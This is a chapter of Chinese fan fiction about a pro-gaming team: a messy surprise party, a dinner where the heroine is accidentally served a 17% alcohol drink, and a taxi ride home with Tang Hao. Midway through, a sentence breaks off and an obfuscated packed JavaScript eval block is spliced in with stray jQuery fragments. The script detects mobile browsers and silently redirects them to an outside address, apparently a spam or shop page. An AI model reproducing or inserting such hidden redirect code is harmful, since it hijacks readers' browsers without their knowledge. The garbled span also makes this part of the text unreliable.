帮唐昊摘掉他头发上的最后一张纸片,时行川很是无语地看向正在努力清理地面的众人。
“我说你们……搞惊喜也就算了,好歹也通知到位吧!咋自己人都不告诉呢!看给唐昊头发都崩成什么样了!”
唐昊还是闷闷不乐的样子,他觉得有一张纸片可能掉衣服里了,但是川姐在他也不好直接撩开衣服摸索。于是只好拉长个脸附和地说道:“就是。”
两个字说得斩钉截铁,其他人都弯腰低着头“嗯嗯”地回应着。显得刚刚开口的唐昊颇有点“狗仗人势”的意思。
“嗯什么嗯!谁出的馊主意?”
众人沉默不语,只是起身指向了朱效平。
“叛徒!”朱效平同样起身怒骂。
“叛你个头!”时行川骂得更大声,“我都说了多少次了搞这种惊喜不要礼花不要抹奶油,真的太土了!”
“没错。”唐昊还在附和。
“直男!”时行川继续输出。
“对!”唐昊沉声。
“对什么对,你也给我收拾去。”时行川推了把身边坐着的唐昊,“这些纸片特别容易吸在地上,扫都扫不起来,快去帮忙!”
于是参加完记者会的邹远和莫楚辰进门时,看到的就是除了时行川,大家都蹲在地上捡纸片的场景。
“这是怎么了……川姐好。啊,唐昊你的头发!”邹远感到心很累,只是去参加了个记者会怎么
最后还是桐桐带着借来的吸尘器,拯救了这些坚持手搓的老艺术家。
听闻原委,邹远也很是无语,他看向朱效平:“你啥时候买的啊?”
“就比赛结束刚结束那会,你和楚辰去记者会了,唐昊不知道去哪儿了。我就寻思着,得给咱们川姐整个排场。”看着对方的眼神逐渐流露出不赞同的神色,朱效平立刻选择把锅平摊,他伸手一指,“他们也同意了!”
时行川无奈道:“其他人也就算了,张伟你怎么也跟着瞎闹啊,没记错你也有点岁数了吧。”
张伟很无辜:“我是冤枉的啊川姐,我也不知道这玩意儿那么难收拾,我……”
“等等等等,这个暂且不提,我倒是想问问你,擂台赛怎么回事,近乎满血的状态就打掉人家一半都不到的血量?别用状态不好搪塞我啊。”
突入其来的复盘打得张伟措手不及,他支支吾吾地说不出话,慌忙地在脑内回顾着自己擂台赛的表现。
“你看,遇到难回答的问题又不说话了。”时行川无语,抬头一看,发现众人都是一副严肃反思的紧张模样,除了唐昊。毕竟是本场MVP,表现确实也无可挑剔。
她心中暗道不好,怎么又拿出那套副队长做派了。但说出去的话又不好撤回,于是只好欲盖弥彰地清了清嗓子,道:“时间差不多了,我们先走吧,复盘等周一你们自己复。”
话音刚落,备战室里的氛围顿时松快不少,门外探出个脑袋。
何伟堂:“哈哈哈,咱们结束了对吧。”
……所以刚刚这小子就在外边偷听是吧。
被队外的人看到了自己训人的样子,时行川有些许的郁闷,但毕竟她还是这里资历最老的那一个。于是她朝着何伟堂,用尽量轻松的语气说道:“嗯,那我来打车。”
虽然此刻无人在意她故作温柔的语气。
邹远正拿着发胶试图一起拯救唐昊的头发,朱效平在和何伟堂说悄悄话。
“你们川姐没生气吧?”
“没,她就这样。”
总之就这样打了两辆车,来到了约好的饭店。
人多的好处就是可以多点几道菜,几乎是把这边的招牌菜都上了个遍。并非是特别地道的云南菜,有不少创新的成分,应该也是为了提高大众接受度。
几个K市当地人多少吃着有点不得劲,对此评价只有俩字“一般”。倒是何伟堂和时行川这俩外地的倒是觉得不错。时行川已经悄悄记下了这家店的名字。
她的舌头不是很灵,其他人说的那些新不新鲜,是野生的还是养殖的,她一律吃不太出来。好吃肯定是没有K市的好吃,但是在B市也算是荒漠中的一朵花了。
不错,下次想这口了还可以再来尝尝,嗯,就是距离有点远了,不如和HR推荐一下,下次公司聚餐吃这家。
时行川这样想着,拿过一边的杯子喝了一口,咂了咂嘴。
这个康普茶也挺好喝的,怎么就是和她之前喝到过喝到的口感不太一样,有点冲。是制作工艺不一样吗?
她拿起杯子细细观摩了起来,这杯她已经喝了一大半,正企图在剩下的一小点中找出有什么不一样的地方。
“怎么了?”身边的唐昊见她这样,俯身小声问道。
时行川抬头看去,唐昊原本被礼花崩地乱七八糟的头发此时已经抢救回来了,他和邹远两个赤脚tony,倒真是有点本事。现在看起来还要更好看一点。时行川收回视线,摇了摇头道:“就是感觉这个茶味道怪怪的,和我之前喝过的不太一样。”
唐昊听闻,低头在杯口上方闻了闻,皱眉道:“怎么有股酒味儿?”
时行川惊讶:“不会吧,这种茶是发酵的,闻起来也有点像酒……”
那边唐昊没有再说什么,抬手叫了服务员过来。
于是这杯不知道是什么的饮品就被服务员拿走了确认了。
桌上其他人也注意到了这边的动静,纷纷抬头询问是怎么回事。
唐昊言简意赅:“上成酒了。”
“但是这种发酵茶也会带点酒味儿的。”
时行川还是不认可,唐昊却是很笃定。
“不一样。”
那边面带歉意的服务员很快过来给了确认的答复。
“真的不好意思这位女士,这个确实是我们这边上错了,刚刚您喝得是我们的特调,大约有17%左右的酒精含量,请问您这边是否酒精过敏之类的问题?”
时行川被这串话打得有点脑子转不过弯,她又拿起那个杯子嗅嗅,也不觉得有什么不对啊。
职业选手为了手的稳定度,大家基本都是一个自发戒酒的状态。时行川自然也是这样,在她的人生中,除了小时候过年外公会用筷子沾一点白酒给她尝之外,唯二喝过的酒只有啤酒和roi。
此刻被服务员提问,她只能茫然回复。
“过敏倒是没……”
“不过敏就没问题了吗?”唐昊开口说道,或许是他的表情太吓人,服务员连忙补充道。
“啊,询问是否过敏主要是确认这位女士的身体情况,由于我们的失误,这一桌我们会安排免单处理,您看可以吗?”
唐昊似乎还想再说点什么,被时行川制止了。
“可以的,我没有酒精过敏。那杯康普茶也不用上了,给我换成热饮吧。”
“好的好的,这边给您上杯解酒汤。”
服务员一溜烟地走了,留下餐桌上面面相觑的几个人。
唐昊此时还是一副不太高兴的模样,显然对刚刚时行川拦着他很是不满。时行川也无奈,人家是帮自己,怎么好说什么。于是只好拍拍他,用眼神示意他别生气了。
得了安抚,唐昊总算是好转了些许,重新拿起筷子开始扒拉碗中那些他觉得寡淡的菌子。
邹远倒是担忧地开口说:“川姐,你没什么不舒服的吧?”
一桌子滴酒不沾的人,自然是对这玩意儿敬而远之,酒量差得也是半斤八俩,此刻对时行川的状态如何更是没一点概念。这算醉了不承认自己醉了吗?万一过会儿川姐非要走直线咋办?
“没事。”时行川实话实说,“没啥感觉,胃也不难受。”
见她确实是神色正常口齿清晰的模样,大家也略微放心一点。
“要不一会儿还是我们送你回去吧。”朱效平提议到。
“这,你们也不同路啊。”
“啊!”邹远突然开口道,“唐昊送吧,嗯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380853|200169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唐昊送川姐。”
不是很明白百花内部构造的何伟堂礼貌开口请教:“为啥是唐昊,这有什么讲究吗?”
邹远哪能实话实说,坦白好兄弟的小心思,他只好绞尽脑汁想一些没用的借口。
“嗯……哪个,唐昊个子比较高嘛,不好惹,嗯!”
“哦哦,这样。”何伟堂点头,“倒也是哈。”
他被说服了!!!
太好了!!!
邹远长舒一口气,他实在是不擅长编瞎话。刚想喝口水压压惊,一扭头就看到正定定地看着他的朱效平。
【唐昊?】朱效平对邹远使了个眼色。
邹远默默移开视线。
【川姐?】朱效平又使了个眼色。
邹远这下是看都不敢往那儿看了。
“我不同意!”
朱效平放下筷子,沉声正色说到。
“到底在不同意些什么啊,给我回去!”时行川彻底怒了。
“哦哦哦好的好的。”
总之这个事还是这样定了下来,唐昊送她回去,其他人该回哪儿回哪儿。
出租车上的空调温度不是很高,被吹散些许热气,时行川才发现酒精多少还是有点影响的,原来有些发昏的脑袋并不是因为餐厅里打得太高的暖气。
她还有点疑问:“唐昊,你怎么知道那个一定是酒。”
“家里爱喝酒的长辈多,闻多了就知道了。”
原来是这样。
车子启动,原本就轻微的不适有些许加重。她没了聊天的想法,只是把头靠在车窗外闭眼小憩。
也不知过了多久,即将昏昏欲睡的时刻。身边传来唐昊有点沙哑的声音。
“全明星,我打算挑战林敬言。”
时行川睁开眼,反应了一会儿才明白过来他说得什么。
她转头看过去,对方早已是目光灼灼地看着她,眼里似乎蕴藏着一团火。
这不可能是什么表演赛,唐昊显然是打算全力以赴。成功了,毫无疑问,他就会跻身一线选手的行列。
失败……时行川相信,以唐昊现在的实力,也绝对会引起大家的关注。
是打算跳槽吗?还是希望以此在百花获得更核心的位置?
但不管是哪种,时行川相信,她这位这位有天赋又有野心的后辈,一定会在未来得到真正属于他的核心地位。
倒是老林……
作为同期生,林敬言的状态下滑地可比她早,虽然和方锐的犯罪组合是如火如荼,但若真的是和唐昊单人1v1,他赢面或许还真,真不算太大。
时行川叹了口气,不打算对这场还未发生的比赛做任何预测。
“挺好的,加油。”还是和以往一样,时行川说了鼓励的话。
唐昊皱眉,对方并没有表现出他想象中的情绪。他有些不甘,话还没说出口,便被司机打断了去。
“到了啊。”车子停在了楼栋前。
时行川下了车,一转头,发现唐昊也跟了下来。
“你下来干嘛,直接坐车回去呀。”
唐昊并没有上车走人的意思,只是和司机师傅说了句“等会儿”,便转过头来重新看她。他的目光有点急迫,落到时行川的身上,莫名让她也有了些许莫名焦躁的情绪。
“怎么了?”时行川问到。
面前的人停顿了一下,神色的瞳眸在灯光下泛出如宝石般的亮泽,他沉沉地注视着时行川,开口道:“你能来……”
话还没有说完,忽而面前闪过两道白色的灯光闪了闪。
时行川皱眉,顺着白光看去,是车的车灯,刚想开口。从那辆眼熟的帕拉梅拉上下来个人,正是今天早上见过的。
“怎么在这儿聊呢?”孙哲平挑眉,轻松的问话却不是轻松的语气,“多冷啊,一上楼去我那儿坐坐呗。”
他的视线越过唐昊,落在了神色有点发懵的时行川身上:“走吗?小川。”